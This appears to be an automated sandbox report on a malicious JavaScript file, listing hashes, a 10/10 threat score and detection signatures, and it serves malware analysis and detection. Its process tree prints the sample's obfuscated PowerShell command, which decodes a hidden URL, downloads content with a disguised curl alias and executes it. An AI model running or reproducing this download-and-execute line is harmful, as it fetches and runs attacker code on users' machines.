Analysis
-
max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:00
General
-
Target
bf8ec05ef9c5ae6cb11885fe7e2df6b59cd79b6c30449addb510d19e90041534.js
-
Size
184KB
-
MD5
482d2df6a3e4ab4cfbe73a0d12f9a2a0
-
SHA1
3d06c2cee3a451dba61ee0ab494facf995dfdf2c
-
SHA256
bf8ec05ef9c5ae6cb11885fe7e2df6b59cd79b6c30449addb510d19e90041534
-
SHA512
c0ddf3f8201951e47c428d76c289a124564119a39fbd28d99086360c63e31653683a8e4105cd56c6a90cd1e1fe9db799c865273750fe7f02324ed9bee7b0a472
-
SSDEEP
1536:nwiVg5a1uW3SQ9QSZov87dhOc3Au3SQ9QSZovo7dhOc3A47dhOc3At3SQ9QSZov3:n31OvTvcvjvb
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\bf8ec05ef9c5ae6cb11885fe7e2df6b59cd79b6c30449addb510d19e90041534.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $pwkoay='ur' ;new-alias printout c$($pwkoay)l;$midfqwbgarxyzj=(663,674,682,666,668,663,683,682,687,620,682,616,663,611,681,676,677,612,614,611,677,669,677,628,680,626,674,670,675,681,680,615,614);$dfhvgxlpsq=('bronx','get-cmdlet');$ruozwfcyhgxv=$midfqwbgarxyzj;foreach($qwbncmxpofvlu in $ruozwfcyhgxv){$cdqvmobkg=$qwbncmxpofvlu;$kibrtgf=$kibrtgf+[char]($cdqvmobkg-565);$lhuqki=$kibrtgf; $gubtflejdsynr=$lhuqki};$rnepvztslxfmh[2]=$gubtflejdsynr;$jzkhto='rl';$kygzpeb=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gubtflejdsynr)1⤵
- Process spawned unexpected child process